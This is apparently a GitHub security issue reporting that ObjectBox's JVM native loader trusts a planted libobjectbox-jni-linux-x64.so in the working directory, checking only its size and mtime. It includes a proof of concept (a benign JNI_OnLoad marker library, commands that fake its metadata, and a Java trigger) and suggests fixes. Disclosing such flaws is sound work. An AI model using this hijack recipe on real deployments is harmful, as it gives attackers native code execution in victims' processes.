Skip to content

Current working directory native library hijack in JVM native loader allows native code execution #1238

@starsalt0124

Description

@starsalt0124

Is there an existing issue?

Related issues I found:

Those issues look related to the same loader design, but I did not find an existing issue for the security impact described here: a pre-existing current-working-directory native library can be trusted and loaded, causing native code execution before ObjectBox native methods are called.

Build info

  • ObjectBox version: 5.4.2
  • OS: Linux x86-64, tested on Kali GNU/Linux under WSL2
  • Device/ABI/architecture: JVM desktop/server path, x86-64
  • Java: OpenJDK 11 for the verification build
  • Audited source commit: ada8ae421645d083fc70cb74aff71b99117e111e
  • Affected component: io.objectbox.internal.NativeLibraryLoader

Steps to reproduce

  1. Put objectbox-java and the matching JVM native artifact on the classpath. I verified with io.objectbox:objectbox-java:5.4.2 and io.objectbox:objectbox-linux:5.4.2.
  2. In the process current working directory, place a benign marker JNI shared object named like the platform ObjectBox library. On Linux x86-64 this is libobjectbox-jni-linux-x64.so.
  3. Make the file metadata match the bundled native resource. For the io.objectbox:objectbox-linux:5.4.2 artifact I tested, /native/libobjectbox-jni-linux-x64.so had:
    • content length: 33873184
    • URLConnection.getLastModified(): 1781872463000
  4. Compile the benign marker library shown below. It only implements JNI_OnLoad and writes a local marker file. It does not implement any ObjectBox native methods.
  5. Run a small Java harness from that same working directory that triggers the ObjectBox JVM native loader, for example by calling io.objectbox.internal.NativeLibraryLoader.ensureLoaded(), BoxStore.getVersionNative(), or by constructing a BoxStore.

Expected behavior

ObjectBox should only load a native library from a trusted bundled location or an application-owned extraction/cache directory, and should verify the extracted library before loading it. A pre-existing file in the process current working directory should not be accepted as the ObjectBox JNI library based only on filename, size, and last-modified timestamp.

Actual behavior

The JVM loader computes a platform-specific filename, checks/extracts /native/<filename> into new File(filename), and later loads new File(filename).getAbsolutePath() if that file exists.

Because new File(filename) is relative, this resolves to the process current working directory. The existing-file check in checkUnpackLib() only compares file length and URLConnection.getLastModified(). A planted file with the expected filename, length, and mtime is not overwritten and is loaded via System.load(...).

In my local verification, the benign marker library's JNI_OnLoad executed and wrote objectbox-loader-marker.txt before any ObjectBox native method was invoked.

Impact: a local attacker who can plant files in the JVM process current working directory before startup can cause an ObjectBox-based JVM application to load attacker-controlled native code in the application's process context. This is not a remote vulnerability by itself; severity depends on how the application is launched and the permissions of the victim JVM process.

Relevant code paths in NativeLibraryLoader.java at the audited commit:

  • The Linux x86-64 filename is built as libobjectbox-jni-linux-x64.so, then passed to checkUnpackLib(filename).
  • The loader creates File file = new File(filename) and calls System.load(file.getAbsolutePath()) if it exists.
  • checkUnpackLib(filename) also uses new File(filename) and only compares file.length() plus file.lastModified() against the resource metadata before deciding whether to overwrite the file.

Code

Code

MarkerPayload.c:

#include <jni.h>
#include <stdio.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
    FILE *marker = fopen("objectbox-loader-marker.txt", "wb");
    if (marker != NULL) {
        fwrite("loaded\n", 1, 7, marker);
        fclose(marker);
    }
    return JNI_VERSION_1_6;
}

Build the benign marker library and set the metadata to match the bundled io.objectbox:objectbox-linux:5.4.2 resource:

$ gcc -shared -fPIC \
    -I"$JAVA_HOME/include" \
    -I"$JAVA_HOME/include/linux" \
    MarkerPayload.c \
    -o libobjectbox-jni-linux-x64.so

$ truncate -s 33873184 libobjectbox-jni-linux-x64.so
$ touch -d @1781872463 libobjectbox-jni-linux-x64.so

LoaderTrigger.java:

import io.objectbox.internal.NativeLibraryLoader;

import java.nio.file.Files;
import java.nio.file.Path;

public final class LoaderTrigger {
    public static void main(String[] args) throws Exception {
        NativeLibraryLoader.ensureLoaded();

        Path marker = Path.of("objectbox-loader-marker.txt");
        System.out.println("markerExists=" + Files.exists(marker));
        if (Files.exists(marker)) {
            System.out.println("markerLength=" + Files.size(marker));
        }
    }
}

Build and run the Java trigger from the same directory as the planted libobjectbox-jni-linux-x64.so:

$ javac -cp "<objectbox-java and objectbox-linux classpath>" LoaderTrigger.java
$ java -cp ".:<objectbox-java and objectbox-linux classpath>" LoaderTrigger

Logs, stack traces

Logs
$ java -cp "<objectbox-java and objectbox-linux classpath>" LoaderTrigger
markerExists=true
markerLength=7

$ stat -c '%n %s %Y' libobjectbox-jni-linux-x64.so
libobjectbox-jni-linux-x64.so 33873184 1781872463

The stat output shows the planted current-directory file retained the same size and mtime used for the resource metadata check, so it was not overwritten by checkUnpackLib().

Suggested fix

Do not load JVM native libraries from the process current working directory by default. Instead, extract bundled native libraries into an application-owned, permission-restricted cache directory, preferably versioned and not writable by less-privileged users.
Verify a cryptographic digest of the extracted library before loading it; do not only treat size and mtime as an integrity check.If extraction fails, fail closed instead of continuing to load a pre-existing relative-path file.
Consider exposing a documented, safe override for the extraction/load directory; this would also address the related packaging and multi-process collision reports above.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions